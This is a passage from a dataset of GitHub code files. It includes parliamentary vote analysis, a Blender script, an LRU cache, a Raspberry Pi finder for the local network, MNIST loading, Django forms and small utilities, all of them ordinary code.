inteiro\n\n  '''\n\n  df_ = df.copy() # Perceba que aqui deepcopy é desnecessário porque não há esruturas mutáveis dentro do dataframe\n\n  for index, row in df_.iterrows():\n\n    # Seleciona os campos numéricos pré-existentes\n    to_sum =   [ k for k,v in row.items() if isinstance( row[k], (int, float) ) ] # Note que row.items() se comporta como um dicionário\n\n    # Soma as colunas selecionadas\n    total = sum( [ row[label] for label in to_sum ] )\n\n    # Substitui uma a uma pelo valor percentual relativo ao total\n    for label in to_sum:\n\n      df_.loc[index, label] = round( row[label] / total, 4)\n\n  return df_\n\n##############################\n### PROCESSAMENTO DE DADOS ###\n##############################\n#           ||\n#    (\\__/) ||\n#    ( O.O) ||\n#    / 　  づ\n\n# TO DO\n# Implementar função de retornar dataframe para get_proposition_votes\n\ndef get_proposition_votes_ids(data):\n    \n    '''\n    >> DESCRIÇÃO\n    \n    A partir do id de uma proposição, recupera os ids das votações\n    relacionadas uma lista.\n    \n    >> PARÂMETROS\n    data -> O valor retornado por make_proposition_request()\n    '''\n    \n    \n    # Retorna ids das votações no formato de lista]\n    data_ = data['dados']\n    data_ = [ str(item['id']) for item in data_ ]\n    \n    return data_\n\ndef get_party_orientation(id_, data, return_df = False):\n    \n    '''\n    >> DESCRIÇÃO\n    \n    Pega a orientação de voto de cada uma das bancadas\n    envolvidas em uma votação específica. Retorna\n    como objeto json-like, string de texto xml ou \n    um dataframe do pandas, caso o parâmetro seja especificado.\n    \n    >> PARÂMETROS\n    \n    data -> O valor retornado por make_vote_request\n\n    \n    return_df  -> booleano que dertermina se o json\n    resultante da request deve ser transformado em\n    um dataframe, formato parecido com um csv.\n    '''\n\n    data_ = data.copy()\n\n    # Salva dados necessários para inserir depois\n    data_hora = {\n                'dataHoraInicio' : data_['dados']['dataHoraInicio'],\n                'dataHoraFim'    : data_['dados']['dataHoraFim']\n                }\n    id_proposicao = data_['dados']['proposicao']['id']\n\n    data_ = data_['dados']['orientacoes']\n\n    if return_df:\n\n      data_ = pd.DataFrame(data_)\n\n      data_['voteId']         = id_\n      data_['idProposicao']   = id_proposicao\n      data_['dataHoraInicio'] = data_hora['dataHoraInicio']\n      data_['dataHoraFim']    = data_hora['dataHoraFim']\n\n    else:\n\n      data_ = {\n        id_ : \n        {\n          'dados'        : data_.copy(),\n          'dataHora'     : data_hora.copy(),\n          'idProposicao' : id_proposicao\n        }\n      }\n\n    return data_\n\ndef get_all_votes(id_, data, return_df = False):\n\n    '''\n    >> DESCRIÇÃO\n    De posse dos dados iniciais de uma votação, retorna a lista de votantes e seus resepctivos\n    dados como objeto json-like, string de texto xml ou um dataframe do pandas, \n    caso o parâmetro seja especificado.\n\n    >> PARÂMETROS\n\n    data -> Objeto retornado por make_vote_request(req_type = 'votos')\n    \n    id -> O id da votação\n\n    return_df  -> booleano que dertermina se o json\n    resultante da request deve ser transformado em\n    um dataframe, formato parecido com um csv.\n\n    '''\n\n    id_ = type_check(id_, str)\n\n\n    # Avança pela paginação da resposta até chegar ao final\n    data_ = go_through_vote_pages(id_, data)\n\n    # Se o usuário pedir para retornar um dataframe, parsear e retornar\n    if return_df:\n\n      columns = [\n                  'id', 'idLegislatura', 'nome', 'siglaPartido', \n                  'siglaUf', 'uri', 'uriPartido', 'urlFoto', 'voto',\n                  'dataHoraInicio', 'dataHoraFim', 'idProposicao', \n                ]\n\n      df = pd.DataFrame(columns = columns)\n\n      for column in columns:\n\n        if column == 'dataHoraInicio':\n          df[column] = data_[id_]['dataHora']['dataHoraInicio']\n\n        elif column == 'dataHoraFim':\n          df[column] = data_[id_]['dataHora']['dataHoraFim']\n\n        elif column == 'idProposicao':\n          df[column] = data_[id_]['idProposicao']\n\n        elif column == 'voto':\n          df[column] = [ item[column] for item in data_[id_]['dados'] ]\n\n        else: \n          df[column] = [ item['parlamentar'][column] for item in data_[id_]['dados'] ]\n\n\n      df = df.replace('null', 'Ausência')\n\n      df['voteId'] = id_\n\n      return df\n\n    else:\n\n      # Substitui todas as labels 'null' por 'Ausência' na descrição dos votos\n      for item in data_[id_]['dados']:\n\n        if item['voto'] == 'null':\n          item['voto'] = 'Ausência'\n\n      # Se não precisar parsear, apenas retorne os dados\n      return data_\n\ndef get_party_vote_count(id_, data, normalize = False):\n\n  '''\n  >> DESCRIÇÃO\n\n  A partir do resultado de get_all_votes, faz\n  uma contagem dos votos por partido. Pode retornar\n  a contagem absoluta ou em valores percentuais, tanto\n  em formato json quanto em formato dataframe, dependendo\n  do tipo do parâmetro data que for passado.\n\n  >> PARÂMETROS\n\n  id_ -> O id numérico da votação\n\n  data -> O dataframe ou objeto json-like que deve ser contado,\n  que foi retornado pela função get_all_votes()\n\n  normalize -> Booleano que determina se devem ser calculados\n  os valores percentuais. Default é False\n\n  '''\n\n  id_ = type_check(id_, str)\n\n  data_ = data.copy()\n\n  if isinstance(data_, pd.core.frame.DataFrame):\n\n    ### Agrupa, conta e formata\n    data_ = data_.groupby(['siglaPartido', 'voto', 'voteId', 'idProposicao', 'dataHoraInicio', 'dataHoraFim'])\n    data_ = data_.size().unstack(level=1, fill_value = 0).reset_index()\n    \n    if normalize:\n\n      data_ = pandas_count_normalize(data_)\n\n  else:\n\n    data_ = get_json_vote_count(id_, data_)\n\n    if normalize:\n      data_ = normalize_json_vote_count(id_, data_)\n\n\n  return data_\n\ndef get_government_support_count(id_, party_vote_count, party_orientation, normalize = False):\n\n  '''\n  >> DESCRIÇÃO\n  A partir da contagem de votos (já normalizada) por partido\n  de uma determinada votação, transforma a contagem por tipo\n  de voto em 'apoiou o governo' ou 'não apoiou o governo', de\n  acordo com a orientação do governo para a bancada aliada.\n\n  A função checa o tipo dos dados que recebe e retorna um\n  objeto condizente, em formato json-like ou dataframe.\n\n\n  >> PARÂMETROS\n\n  id_ -> O id da votação em questão\n\n  party_vote_count -> A contagem de votos retornada por \n  get_party_vote_count(..., normalize - True), normalizada ou não\n\n  party_orientation -> A orientação das bancadas, retornada por get_party_orientation()\n  \n\n  normalize -> Booleano que determina se devem ser calculados\n  os valores percentuais. Default é False\n\n  '''\n\n  # Checa se os dados passados são do mesmo formato e\n  # levanta exceção caso contrário\n\n\n  if type(party_vote_count) != type(party_orientation):\n    err_message = \"Essa operação só pode se realizada quando os parâmetros 'party_vote_count' e 'party_orientation' são do mesmo tipo. Favor verificar.\"\n    raise InvalidOperation(err_message)\n\n  id_ = type_check(id_, str)\n  new_data = copy.deepcopy(party_vote_count) # Deepcopy porque vai ser alterado posteriormente\n\n  # Checa se a operação vai ser em dataframe\n  if isinstance(party_vote_count, pd.core.frame.DataFrame):\n\n    # Seleciona orientação do governo\n    orientation_df = party_orientation[ party_orientation.nomeBancada == 'GOV.' ].reset_index()\n    \n    # Checagem – há orientação do governo?\n    if orientation_df.shape[0] < 1 or orientation_df.loc[0, 'voto'] == 'Liberado':\n\n      # Como não há orientação do governo, adiciona nans\n      new_data['com_governo']    = np.nan\n      new_data['contra_governo'] = np.nan\n\n    else:\n\n      orientation = orientation_df.loc[0, 'voto']\n\n      # Cria listas que serão preenchidas com os valores\n      govt_aligned_totals = [ ]\n      not_govt_aligned_totals = [ ]\n\n      # Seleciona as colunas de partido que contém os votos de orientação\n      for index, row in new_data.iterrows():\n\n        # Seleciona nomes dos campos com dados numéricos\n        to_sum = [ item for item in new_data.columns if item != orientation and is_numeric_dtype( new_data[ item ] ) and item != 'Ausência' ] \n\n        # Calcula totais de apoio e não apoio\n        total_govt     = row[ orientation ]\n        total_not_govt = sum ( row[ to_sum ] )\n\n        # Adiciona para a lista\n        govt_aligned_totals.append(total_govt)\n        not_govt_aligned_totals.append(total_not_govt)\n\n      # As listas acimas viram colunas\n      new_data['com_governo']    = govt_aligned_totals\n      new_data['contra_governo'] = not_govt_aligned_totals\n\n    # Adiciona dados de horário\n\n    # Derruba as colunas desnecessárias\n    new_data = new_data.drop(\n      [ \n        col for col in new_data.columns if col not in (\n                                                      'siglaPartido', 'voteId', 'idProposicao',\n                                                      'dataHoraInicio', 'dataHoraFim',\n                                                      'com_governo', 'contra_governo',\n                                                      ) \n      ],\n      axis = 1\n    )\n\n    # Adiciona colunas identificadoras\n\n    if normalize:\n      new_data = pandas_count_normalize(new_data)\n\n  # Caso contrário, a operação vai ser sobre json\n  else:\n\n    # Descobre a orientação usando um gerador next\n    # Note que, caso não seja encontrado, vamos preencher a variável com o valor padrão 'Liberado'\n    orientation = next( (item['voto'] for item in party_orientation[id_]['dados'] if item['nomeBancada'] == 'GOV.'), 'Liberado' )\n\n    # Itera por todos os itens, primeiro salvando\n    # os novos valores em uma variável e depois\n    # substitui um dos dicionários internos\n\n    for index, item in enumerate( new_data[id_]['dados'] ):\n\n      # Se a orientação for diferente de 'Liberado', calcule os valores\n      if orientation != 'Liberado':\n        \n        # Calcula as somas totais\n        govt_aligned_totals     = sum( [ value for key, value in item['votacao'].items() if key == orientation ] )\n        not_govt_aligned_totals = sum( [ value for key, value in item['votacao'].items() if key != orientation and key != \"Ausência\"] )\n\n      else:\n\n        # Caso contrário, coloque um valor nulo para preencher\n        govt_aligned_totals = None\n        not_govt_aligned_totals = None\n\n      # Salva os valores em um novo objeto\n      new_votes = { \n                    'com_governo'    : govt_aligned_totals, \n                    'contra_governo' : not_govt_aligned_totals \n                  }\n\n      # Substiui o objeto interno 'votação' pelo novo, recém calculado\n      new_data[id_]['dados'][index]['votacao'] = new_votes.copy()\n\n    # Se for feita uma tentativa de normalizar dados sem orientação do governo,\n    # será retornado o mesmo dado – ou seja, preenchido com Nones.\n    if normalize and orientation != 'Liberado':\n\n      new_data = normalize_json_vote_count(id_, new_data)\n\n\n  # RETORNA\n\n  return new_data\n\n","repo_name":"estadao/linha-do-tempo-do-governismo","sub_path":"code/camaraPy.py","file_name":"camaraPy.py","file_ext":"py","file_size_in_byte":33671,"program_lang":"python","lang":"pt","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"}
+{"seq_id":"37332256663","text":"# for an interactive version of this code, install sverchok and use script-node 'zeffii/dashed edges'\nfrom mathutils import Vector as V\nfrom math import floor\n\ndef produce(verts, edg_pol, on, off):\n    # on    : is real length of stride to show\n    # off   : is real length of gap between strides\n    # verts, edg_pol:   polygons are cast to edges first\n    \n    # a property of this algorithm is that it returns verts\n    # that are never used by more than 1 edge.\n    v_back = []\n    e_back = []\n    add_v = v_back.append\n    add_e = e_back.append\n    vert_indices = 0\n    \n    def make_verts(indices):\n        nonlocal vert_indices\n\n        v1, v2 = V(verts[indices[0]]), V(verts[indices[1]])\n        M = (v1 - v2).length\n        real = M / (on + off)\n        rounded = floor(real)\n        diff = real - rounded\n        \n        # make rounded number of on-off segments\n        _a = on/M\n        _b = off/M\n\n        if diff > 0:\n            rounded +=1 \n\n        for i in range(rounded):\n            a = i*(_a+_b)\n            b = a + _a\n            \n            va = v1.lerp(v2, a)[:]\n            vb = v1.lerp(v2, min(1, b))[:]\n\n            add_v(va)\n            add_v(vb)\n            add_e([vert_indices, vert_indices+1])\n            \n            vert_indices += 2\n        \n\n    for ep in edg_pol:\n        num_items = len(ep)\n        if num_items == 2:\n            make_verts(ep)\n        elif num_items > 2:\n            m = ep + [ep[0]]\n            edges = [m[i:i+2] for i in range(num_items)]\n            for e in edges:\n                make_verts(e)\n    \n    return v_back, e_back\n\ndef sv_main(verts=[[]], edg_pol=[[]], dash_on=0.2, dash_off=0.1):\n    verts_out = []\n    edges_out = []\n\n    in_sockets = [\n        ['v', 'some_socket_name', verts],\n        ['s', 'edg_pol', edg_pol],\n        ['s', 'dash_on', dash_on],\n        ['s', 'dash_off', dash_off]\n    ]\n\n    out_sockets = [\n        ['v', 'verts', [verts_out]],\n        ['s', 'edges', [edges_out]]\n    ]\n    \n    dash_on = max(0.02, dash_on)\n    dash_off = max(0.01, dash_off)\n        \n    if verts and verts[0]:\n        verts = verts[0]\n        \n        if edg_pol and edg_pol[0]:\n            edg_pol = edg_pol[0]\n            \n            Verts, Edges = produce(verts, edg_pol, dash_on, dash_off)\n            verts_out.extend(Verts)\n            edges_out.extend(Edges)            \n\n    return in_sockets, out_sockets\n","repo_name":"zeffii/BlenderSciViz","sub_path":"dashed_mesh.py","file_name":"dashed_mesh.py","file_ext":"py","file_size_in_byte":2380,"program_lang":"python","lang":"en","doc_type":"code","stars":74,"dataset":"github-code","pt":"37"}
+{"seq_id":"22982292891","text":"from Node import Node\n# import Node\nclass LRU:\n    def __init__(self):\n        self.head = None\n        self.tail = None\n        # self.d = {}\n        self.l = []\n\n    def get(self):\n        '''returns the least recently used to the user'''\n        if self.tail is None:\n            return None\n        elif self.tail.left is None:\n            x = self.tail.content\n            self.head = None\n            self.tail = None\n            return x\n        else:\n            x = self.tail.content\n            self.tail = self.tail.left\n            self.tail.right = None\n            return x\n\n\n\n    def put(self, n):\n        '''updates the LRU cache based on frequency'''\n        if self.head is None:\n            self.head = Node(n)\n            self.l.append(n)\n            self.tail = self.head\n            return\n        elif n not in self.l:\n            self.l.append(n)\n            temp = Node(n)\n            temp.right = self.head\n            self.head.left = temp\n            self.head = temp\n        else:\n            x = self.head\n            while x is not None:\n                if x.content == n:\n                    if x.right is None:\n                        self.tail = self.tail.left\n                        x.right = self.head\n                        self.head.left = x\n                        self.head = x\n                        self.head.left = None\n                        self.tail.right = None\n                        break\n                    x.left.right = x.right\n                    x.right.left = x.left\n                    x.right = self.head\n                    self.head.left = x\n                    self.head = x\n                    self.head.left = None\n                    break\n                x = x.right\n            \n\n    def get_cache(self):\n        '''returns the entire LRU cache'''\n        l = []\n        x = self.head\n        while x is not None:\n            l.append(x.content)\n            x = x.right\n        return l\n\ndef main():\n    # test = LRU()\n    pass\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"vivekreddy422/Web-Dev","sub_path":"toy-problems/LRU/LRU.py","file_name":"LRU.py","file_ext":"py","file_size_in_byte":2038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"29671050519","text":"\"\"\"Uses brand new features of Python 3\"\"\"\nimport argparse\nimport threading\nimport psutil\nfrom concurrent.futures import ThreadPoolExecutor\nimport os\nimport socket\nimport sys\nimport time\nimport platform\nfrom getmac import get_mac_address\ntry:\n    from __version__ import __version__\nexcept ModuleNotFoundError:\n    from findpi.__version__ import __version__\n\n\ndef getInput(currentip, thread_count):\n    \"\"\"\n    Get user input ip address or use default.\n    \"\"\"\n    currentnum = 1\n    userinput = input(\n        f'What net to check? (default {currentip}): ') or currentip\n    start_time = time.time()\n    print(f'\\nChecking for delicious pi around {userinput}...')\n    if userinput.endswith('/24'):\n        limit = 255\n    if limit == 1:\n        checkip = userinput.rsplit('.', 1)[0] + f'.{currentnum}'\n        checkMacs(checkip)\n        print(\"--- %s seconds ---\" % (time.time() - start_time))\n        sys.exit(0)\n    ip_list = []\n    # nice way to fill up the list with the full range\n    ip_list.extend([userinput.rsplit('.', 1)[0] +\n                    f'.{i}' for i in range(limit)])\n    # multi-threading the modern way ;)\n    with ThreadPoolExecutor(max_workers=thread_count) as executor:\n        {executor.submit(checkMacs, ip) for ip in ip_list}\n        executor.shutdown(wait=False)\n    # always print the time it took to complete\n    print(\"--- %s seconds ---\" % (time.time() - start_time))\n\n\ndef prep():\n    \"\"\"\n    Get the args and set them.\n    \"\"\"\n    parser = argparse.ArgumentParser(description='Ways to run findpi.')\n    parser.add_argument('-c', '--cores', type=int,\n                        help='cores to use for threads', dest=\"cores\")\n    parser.add_argument('-v', '--version', action='version',\n                        version=__version__)\n    args = parser.parse_args()\n    return args\n\n\ndef checksudo():\n    # os.getuid() seems to be only in linux/unix systems, if platform is 'Windows' just skip the check sudo\n    if platform.system() == 'Windows':\n        return\n    \n    if not os.geteuid() == 0:\n        sys.exit(\n            'This script must be run as root (or with \\'sudo\\' or \\'doas\\' etc.)!')\n\n\ndef getip():\n    \"\"\"\n    get current ip hopefully and convert to /24\n    \"\"\"\n    currentip = (([ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith(\"127.\")] or [[(s.connect(\n        (\"8.8.8.8\", 53)), s.getsockname()[0], s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]]) + [\"no IP found\"])[0]\n    currentip = currentip.rsplit('.', 1)[0] + '.0/24'\n    return currentip\n\n\ndef checkCores():\n    \"\"\"\n    Gets the total number of cores and returns sensible default int for threads\n    \"\"\"\n    multiplier = 4  # set this to whatever you want\n    try:\n        cores = psutil.cpu_count() * multiplier\n    except:\n        print('Cannot get cores info, defaulting to 4')\n        cores = 4\n    return cores\n\n\ndef ThreadId(ipaddress, macaddress):\n    \"\"\"\n    The thread function that gets called from checkMacs to ensure timeout.\n    \"\"\"\n    macaddress = get_mac_address(ip=ipaddress)\n    if macaddress:\n        if (\"b8:27:eb\" in str(macaddress.lower())) or (\"dc:a6:32\" in str(macaddress.lower())):\n            print(f'Found pi: {ipaddress}')\n\n\ndef checkMacs(ip_address):\n    \"\"\"\n    Checks if mac address found using get_mac_address threaded function.\n    Accepts: ip_address var as string\n    Returns: nothing\n    Prints: found ip of pi if found\n    \"\"\"\n    macaddress = str()\n    th = threading.Thread(target=ThreadId, args=(ip_address, macaddress))\n    th.start()\n    th.join(timeout=0.5)\n    return\n\n\nlogo = \"\"\"\n  ______ _____ _   _ _____  _____ _____\n |  ____|_   _| \\ | |  __ \\|  __ \\_   _|\n | |__    | | |  \\| | |  | | |__) || |\n |  __|   | | | . ` | |  | |  ___/ | |\n | |     _| |_| |\\  | |__| | |    _| |_\n |_|    |_____|_| \\_|_____/|_|   |_____|\n\n\"\"\"\n\n\ndef main():\n    \"\"\"\n    Main function that runs everything.\n    \"\"\"\n    args = prep()\n    checksudo()\n    currentIP = getip()\n    if not args.cores:\n        thread_count = checkCores()\n    else:\n        thread_count = args.cores\n    getInput(currentIP, thread_count)\n\n\nif __name__ == \"__main__\":\n    print(logo)\n    main()\n","repo_name":"james-see/findpi","sub_path":"findpi/findpi.py","file_name":"findpi.py","file_ext":"py","file_size_in_byte":4163,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"37"}
+{"seq_id":"18705644966","text":"\"\"\" Function for setting up the MNIST data\n\"\"\"\nfrom tensorflow.examples.tutorials.mnist import input_data\n\n\ndef setup_mnist_data(data_dir, one_hot=True, normalized=True):\n    \"\"\" The function for setting up the mnist data\n    :param data_dir: String indicating the path of the data directory\n    :param one_hot: Boolean for indicating if the labels are required in one-hot encoded format\n    :param normalized: Boolean for indicating if the data needs to be normalized\n    :return: tuple containing np arrays of the split data\n    \"\"\"\n    # obtain the data from the data directory\n    print(\"\\nObtaining Data ...\")\n    mnist_data = input_data.read_data_sets(data_dir, one_hot=one_hot)\n\n    # divide the data into train, dev and test sets\n    train_x = mnist_data.train.images; train_y = mnist_data.train.labels\n    dev_x = mnist_data.validation.images; dev_y = mnist_data.validation.labels\n    test_x = mnist_data.test.images; test_y = mnist_data.test.labels\n\n    # if normalization is false scale up the data values\n    if(not normalized):\n        highest_pixel_value = 255\n        train_x *= highest_pixel_value\n        dev_x *= highest_pixel_value\n        test_x *= highest_pixel_value\n\n    # return a tuple of the formatted data\n    return (train_x, train_y, dev_x, dev_y, test_x, test_y)","repo_name":"akanimax/energy-preserving-neural-network","sub_path":"Model_1/Energy_Delta_Regularized_Network/DataSetup.py","file_name":"DataSetup.py","file_ext":"py","file_size_in_byte":1292,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"23907050487","text":"import diary as lib\r\nimport sys\r\nimport json\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\r\n    def give_student_info(diary, student_id):\r\n        student = lib.get_at_id(diary, 'students', student_id)\r\n\r\n        print(f\"Information on Student ID: {student_id}\")\r\n        print(f\"Full Name: {student['name']} {student['surname']}\")\r\n        print(f\"Mean of marks: {lib.mean_for_student(diary, student_id)}\")\r\n\r\n        for course in diary[\"courses\"]:\r\n            id = course[\"id\"]\r\n            name = course[\"name\"]\r\n            print(f\"Mean of marks in: {name} = {lib.mean_for_student_in_course(diary, student_id, id)}\")\r\n\r\n    def give_course_info(diary, course_id):\r\n        course = lib.get_at_id(diary, \"courses\", course_id)\r\n\r\n        print(f\"Information on Course ID: {course_id}\")\r\n        print(f\"Name: {course['name']}\")\r\n        print(f\"Mean of mark in the course = {lib.mean_for_course(diary, course_id)}\")\r\n\r\n    def print_absolute_mean(diary):\r\n        print(f\"Absolute mean of everything = {lib.the_absolute_mean(diary)}\")\r\n\r\n    if len(sys.argv) < 2:\r\n        diary = lib.create_diary()\r\n\r\n        lib.add_student(diary, \"Aaron\", \"Sorkin\")\r\n        lib.add_student(diary, \"Ethan\", \"Coen\")\r\n        lib.add_student(diary, \"Joel\", \"Coen\")\r\n        lib.add_student(diary, \"Quentin\", \"Tarantino\")\r\n\r\n        lib.add_course(diary, \"Screenwriting Masterclass\")\r\n        lib.add_course(diary, \"How to make pierogi\")\r\n\r\n        lib.add_mark(diary, 5.0, 0, 0)\r\n        lib.add_mark(diary, 2.0, 0, 1)\r\n\r\n        lib.add_mark(diary, 5.0, 1, 0)\r\n        lib.add_mark(diary, 3.0, 1, 1)\r\n\r\n        lib.add_mark(diary, 5.0, 2, 0)\r\n        lib.add_mark(diary, 3.5, 2, 1)\r\n\r\n        lib.add_mark(diary, 5.0, 3, 0)\r\n        lib.add_mark(diary, 5.0, 3, 1)\r\n\r\n        filename = \"diary.json\"\r\n        lib.to_file(diary, filename)\r\n\r\n        print(f\"Created {filename}\")\r\n        print(\"You can open a diary by typing in its filename as argument in command prompt\")\r\n        print(\"e. g. task.py diary.json\")\r\n\r\n    if len(sys.argv) == 2:\r\n        try:\r\n            diary = lib.from_file(sys.argv[1])\r\n            print(json.dumps(diary, indent = 4))\r\n            print(\">\" * 80)\r\n            give_student_info(diary, 0)\r\n            print(\">\" * 80)\r\n            give_course_info(diary, 0)\r\n            print(\">\" * 80)\r\n            print_absolute_mean(diary)\r\n\r\n        except FileNotFoundError:\r\n            print(\"Enter correct filename\")\r\n    \r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"Es1337/PythonInTheEnterprise","sub_path":"labonline2/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":2442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"43609121430","text":"from building import *\n\ncwd = GetCurrentDir()\n\nsrc = Glob('common/*.c')\nsrc += Glob('graphics/*.c')\nsrc += Glob('event/*.c')\n\npath = [cwd]\npath += [cwd + '/common']\npath += [cwd + '/graphics']\npath += [cwd + '/event']\n\ngroup = DefineGroup('TinySquare', src, depend = ['PKG_USING_TINYSQUARE'], CPPPATH = path)\n\nReturn('group')\n","repo_name":"AlgoOy/TinySquare","sub_path":"source/SConscript","file_name":"SConscript","file_ext":"","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"}
+{"seq_id":"1313770078","text":"# this is main.py\r\n\r\n# we can import our own modules into this module\r\n# import my_module as m\r\nfrom my_module import makeCube as make\r\n# import modules.util\r\nfrom modules.util import checkInt\r\n\r\ndef main():\r\n    num = input('which number? ')\r\n    # num = modules.util.checkInt(num)\r\n    num = checkInt(num)\r\n    # c = m.makeCube(3) # expect 27\r\n    c = make(num) # we imported this one function and called it 'make'\r\n    print(c)\r\n\r\nif __name__ == '__main__':\r\n    main()","repo_name":"onionmccabbage/pythonTrainingMar2021","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"10201901204","text":"import requests \nimport os\nimport pprint\n\n\n\napp_id = os.environ[\"TL_PRIMARY\"]\napp_key = os.environ[\"TL_SECONDARY\"]\nurl_append = f'?app_id={app_id}&app_key={app_key}' \n\n# print(url_append)\n# print('KEY OK')\n\n# URL\nurl = \"https://api.tfl.gov.uk/AirQuality\"\n\n# We send the request to the API\n# NOTE: if you don't have your APP_KEY, run this without the url_append\nres = requests.get(url+url_append)\n\n# print(res.status_code)\n\n## from IPython.display import JSON\nres_j = res.json()\n\nfor sub_list in res_j['currentForecast']:\n    if sub_list['$id']=='3':  # '3' means tomorrow\n         print('Tomorrow air pollution forecast',':',sub_list['forecastSummary'])\n\n\n\nexit()\n\n","repo_name":"cleungpele/W01D4","sub_path":"pj_tol_wfc.py","file_name":"pj_tol_wfc.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"21219683836","text":"from django import forms\nfrom .models import Friend, MentenanceMaster,ServiceRecordMaster\n\n\n        \nclass HelloForm(forms.Form):\n    id = forms.IntegerField(label='ID')\n\nclass FriendForm(forms.ModelForm):\n    class Meta:\n        model = Friend\n        fields = ['car_name', 'start_day','end_day' ,'want_go']\n        \n    car_name = forms.TypedChoiceField(\n        initial=1,\n        coerce=lambda x: bool(int(x)),\n        choices=(\n            (1, u'サクシード'),\n            (0, u'エブリイ'),\n            (2, u'ソリオ'),\n        ),\n        widget=forms.RadioSelect,\n    )\n    \n    start_day = forms.DateField(\n        label = 'start_day',\n        widget=forms.SelectDateWidget(years=[x for x in range(2018, 2050)]),\n        )\n    end_day = forms.DateField(\n        label = 'end_day',\n        widget=forms.SelectDateWidget(years=[x for x in range(2018, 2050)]),\n    )\n\n#車両メンテナンス予定追加用フォーム\nclass MentenanceForm(forms.ModelForm):\n    class Meta:\n        model = MentenanceMaster\n        fields = ['CarName', 'StartDayTime','EndDayTime' ,'MentenanceOverview']\n        \n    CarName = forms.TypedChoiceField(\n        label = '車両名',\n        initial=1,\n        coerce=lambda x: bool(int(x)),\n        choices=(\n            (0, u'サクシード'),\n            (1, u'エブリイ'),\n            (2, u'ソリオ'),\n        ),\n        widget=forms.RadioSelect,\n    )\n    \n    StartDayTime = forms.DateField(\n        label = 'メンテナンス開始日時',\n        widget=forms.SelectDateWidget(years=[x for x in range(2018, 2050)]),\n        )\n    EndDayTime = forms.DateField(\n        label = 'メンテナンス終了日時',\n        widget=forms.SelectDateWidget(years=[x for x in range(2018, 2050)]),\n    )\n    MentenanceOverview = forms.CharField(\n        label = 'メンテナンス概要',\n        max_length=200,\n        widget=forms.TextInput(attrs={\n            'placeholder': 'メンテナンス概要を入���',\n            }\n            )\n    )\n     \nOPTION_CHOICES=(\n    ('car_name','車種'),\n    ('start_day','利用開始日'),\n    ('end_day','利用終了日'),\n    ('want_go','目的地')\n    ,)\nclass ServiceRecordForm(forms.Form):\n    option = forms.ChoiceField(label='Option',choices = OPTION_CHOICES)\n    search = forms.CharField(required = False)","repo_name":"t16cs061/soft2018_ownrepository","sub_path":"CCMS_ver_SAMMS/CCMS/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"20070050468","text":"import os\nimport sys\nimport glob\nimport time\nimport numpy as np\nimport pandas as pd\nimport subprocess as sp\nfrom Q_Velest import simple_model\nfrom heapq import merge\nfrom gmt_layout import color_cycle\n\nout_dir = os.path.join(os.path.dirname(os.getcwd()), 'plot_result')\noutput = os.path.join(os.path.dirname(os.getcwd()), 'output')\n\nif not os.path.exists(out_dir):\n    os.makedirs(out_dir)\nif not os.path.exists(output):\n    os.makedirs(output)\n\nAdjust = sorted(glob.glob(\"*HypoAdjustment-all*\"))\n\ninit_model = sorted(glob.glob(\"*ModelInitial*\"))\nfnal_model = sorted(glob.glob(\"*ModelFinal*\"))\ninit_cat = sorted(glob.glob(\"*CatalogInitial*\"))\nfnal_cat = sorted(glob.glob(\"*CatalogFinal*\"))\n\nif len(init_model) != len(fnal_model):\n    sys.exit(\"Number of initial model doesn't match with final model\")\nelif len(init_cat) != len(fnal_cat):\n    sys.exit(\"Number of initial catalog doesn't match with final catalog\")\nelif len(fnal_model) != len(fnal_cat):\n    sys.exit(\"Number of model doesn't match with catalog\")\nelif len(fnal_model) != len(Adjust):\n    sys.exit(\"Number of model doesn't match with adjustment data\")\n\nmod_rms = pd.DataFrame(columns=['Model', 'Iterasi', 'Min_RMS'])\n\nfor i, ha in zip(range(len(Adjust)), Adjust):\n\n    if os.stat(ha).st_size == 0:\n    \n        sys.exit(\"Adjustment data is empty\\n\")\n        \n    data = pd.read_csv(ha, header=None, delim_whitespace=True)\n    \n    mod_rms.loc[i] = [os.path.basename(ha).replace('-HypoAdjustment-all.dat', ''), data[5].idxmin(), data[5].min()]\n    \nprint(mod_rms.sort_values('Min_RMS'))\n\nthreshold = float(input('\\nSet minimum RMS threshold \\n'))\n\ndrop_rows = mod_rms[mod_rms.Min_RMS > threshold]\naccp_rows = mod_rms[mod_rms.Min_RMS <= threshold]\ndropped_model = drop_rows['Model'].to_list()\naccepted_model = accp_rows['Model'].to_list()\n\nprint(f'\\n{len(accepted_model)} accepted model:\\n{accp_rows}\\n')\n\nplot = open('Accepted-Model.bat', 'w')\nplot.write('@echo off\\n')\nplot.write('echo ^>^>^>Plot All Final Model and Accepted Model . . .& echo.\\n')\nplot.write('set ps=Accepted_Model.ps\\n')\nplot.write('set out=../plot_result/Accepted_Model.png\\n')\nplot.write('set J1=8/-15\\n')\nplot.write('set R_nhyp=-4/62/0/80\\n')\nplot.write('set R_nhyp2=0/80/-4/62\\n')\n\nplot.write('set R_mod=3/9/-4/62\\n')\nplot.write('\\npsbasemap -JX%J1% -R%R_mod% -BWnSe -Byafg+l\"Depth (km)\" -Bxaf+l\"Velocity (km/s)\" '\n           '--FONT_ANNOT_PRIMARY=10 --FONT_LABEL=13 -K > %ps%\\n')\n           \nfor i, dm in 